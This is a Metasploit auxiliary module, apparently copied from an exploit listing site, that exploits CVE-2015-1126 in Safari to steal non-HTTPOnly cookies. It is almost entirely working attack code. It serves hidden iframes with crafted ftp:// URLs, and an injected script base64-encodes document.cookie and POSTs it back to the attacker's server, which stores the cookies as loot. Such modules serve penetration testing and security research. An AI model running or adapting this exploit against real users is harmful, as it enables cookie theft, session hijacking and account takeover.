Share
## https://sploitus.com/exploit?id=PACKETSTORM:180601
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::FtpServer  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',  
'Description' => %q{  
A vulnerability exists in versions of OSX, iOS, and Windows Safari released  
before April 8, 2015 that allows the non-HTTPOnly cookies of any  
domain to be stolen.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Jouko Pynnonen', # Initial discovery and disclosure  
'joev', # msf module  
],  
'References' => [  
[ 'CVE', '2015-1126' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Apr/30' ]  
],  
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],  
'PassiveActions' => [ 'WebServer' ],  
'DefaultAction' => 'WebServer',  
'DisclosureDate' => '2015-04-08'  
))  
  
register_options([  
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),  
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),  
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),  
OptString.new('TARGET_DOMAINS', [  
true,  
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',  
'apple.com,example.com'  
])  
])  
end  
  
  
#  
# Start the FTP and HTTP server  
#  
def run  
start_service  
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")  
start_http  
@http_service.wait  
end  
  
  
#  
# Handle the HTTP request and return a response. Code borrowed from:  
# msf/core/exploit/http/server.rb  
#  
def start_http(opts={})  
# Ensture all dependencies are present before initializing HTTP  
use_zlib  
  
comm = datastore['ListenerComm']  
if comm.to_s == 'local'  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
  
# Default the server host / port  
opts = {  
'ServerHost' => datastore['SRVHOST'],  
'ServerPort' => datastore['HTTPPORT'],  
'Comm' => comm  
}.update(opts)  
  
# Start a new HTTP server  
@http_service = Rex::ServiceManager.start(  
Rex::Proto::Http::Server,  
opts['ServerPort'].to_i,  
opts['ServerHost'],  
datastore['SSL'],  
{  
'Msf' => framework,  
'MsfExploit' => self,  
},  
opts['Comm'],  
datastore['SSLCert']  
)  
  
@http_service.server_name = datastore['HTTP::server_name']  
  
# Default the procedure of the URI to on_request_uri if one isn't  
# provided.  
uopts = {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}.update(opts['Uri'] || {})  
  
proto = (datastore['SSL'] ? 'https' : 'http')  
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")  
  
if opts['ServerHost'] == '0.0.0.0'  
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")  
end  
  
# Add path to resource  
@service_path = uopts['Path']  
@http_service.add_resource(uopts['Path'], uopts)  
end  
  
#  
# Lookup the right address for the client  
#  
def lookup_lhost(c=nil)  
# Get the source address  
if datastore['SRVHOST'] == '0.0.0.0'  
Rex::Socket.source_address( c || '50.50.50.50')  
else  
datastore['SRVHOST']  
end  
end  
  
#  
# Handle the FTP RETR request. This is where we transfer our actual malicious payload  
#  
def on_client_command_retr(c, arg)  
conn = establish_data_connection(c)  
unless conn  
c.put("425 can't build data connection\r\n")  
return  
end  
  
print_status('Connection for file transfer accepted')  
c.put("150 Connection accepted\r\n")  
  
# Send out payload  
conn.put(exploit_html)  
c.put("226 Transfer complete.\r\n")  
conn.close  
end  
  
#  
# Kill HTTP/FTP (shut them down and clear resources)  
#  
def cleanup  
super  
  
# clear my resource, deregister ref, stop/close the HTTP socket  
begin  
@http_service.remove_resource(@uri_path)  
@http_service.deref  
@http_service.stop  
@http_service.close  
@http_service = nil  
rescue  
end  
end  
  
  
#  
# Ensures that gzip can be used. If not, an exception is generated. The  
# exception is only raised if the DisableGzip advanced option has not been  
# set.  
#  
def use_zlib  
unless Rex::Text.zlib_present? || !datastore['HTTP::compression']  
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")  
end  
end  
  
  
#  
# Returns the configured (or random, if not configured) URI path  
#  
def resource_uri  
return @uri_path if @uri_path  
  
@uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))  
@uri_path = '/' + @uri_path if @uri_path !~ /^\//  
@uri_path  
end  
  
  
#  
# Handle HTTP requests and responses  
#  
def on_request_uri(cli, request)  
if request.method.downcase == 'post'  
json = JSON.parse(request.body)  
domain = json['domain']  
cookie = Rex::Text.decode_base64(json['p']).to_s  
if cookie.length == 0  
print_error("#{cli.peerhost}: No cookies found for #{domain}")  
else  
file = store_loot(  
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'  
)  
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")  
print_good(file)  
end  
send_response(cli, 200, 'OK', '')  
else  
domains = datastore['TARGET_DOMAINS'].split(',')  
iframes = domains.map do |domain|  
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'  
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>  
</iframe>|  
end  
  
html = <<-HTML  
<html>  
<body>  
#{iframes.join}  
</body>  
</html>  
HTML  
  
send_response(cli, 200, 'OK', html)  
end  
end  
  
#  
# Create an HTTP response and then send it  
#  
def send_response(cli, code, message='OK', html='')  
proto = Rex::Proto::Http::DefaultProtocol  
res = Rex::Proto::Http::Response.new(code, message, proto)  
res['Content-Type'] = 'text/html'  
res.body = html  
  
cli.send_response(res)  
end  
  
def exploit_html  
<<-HTML  
<html><body>  
<script>  
var p = window.btoa(document.cookie);  
var x = new XMLHttpRequest();  
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")  
x.setRequestHeader('Content-type', 'text/plain');  
x.send(JSON.stringify({p: p, domain: document.domain}));  
</script>  
</body></html>  
HTML  
end  
  
def grab_key  
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)  
end  
end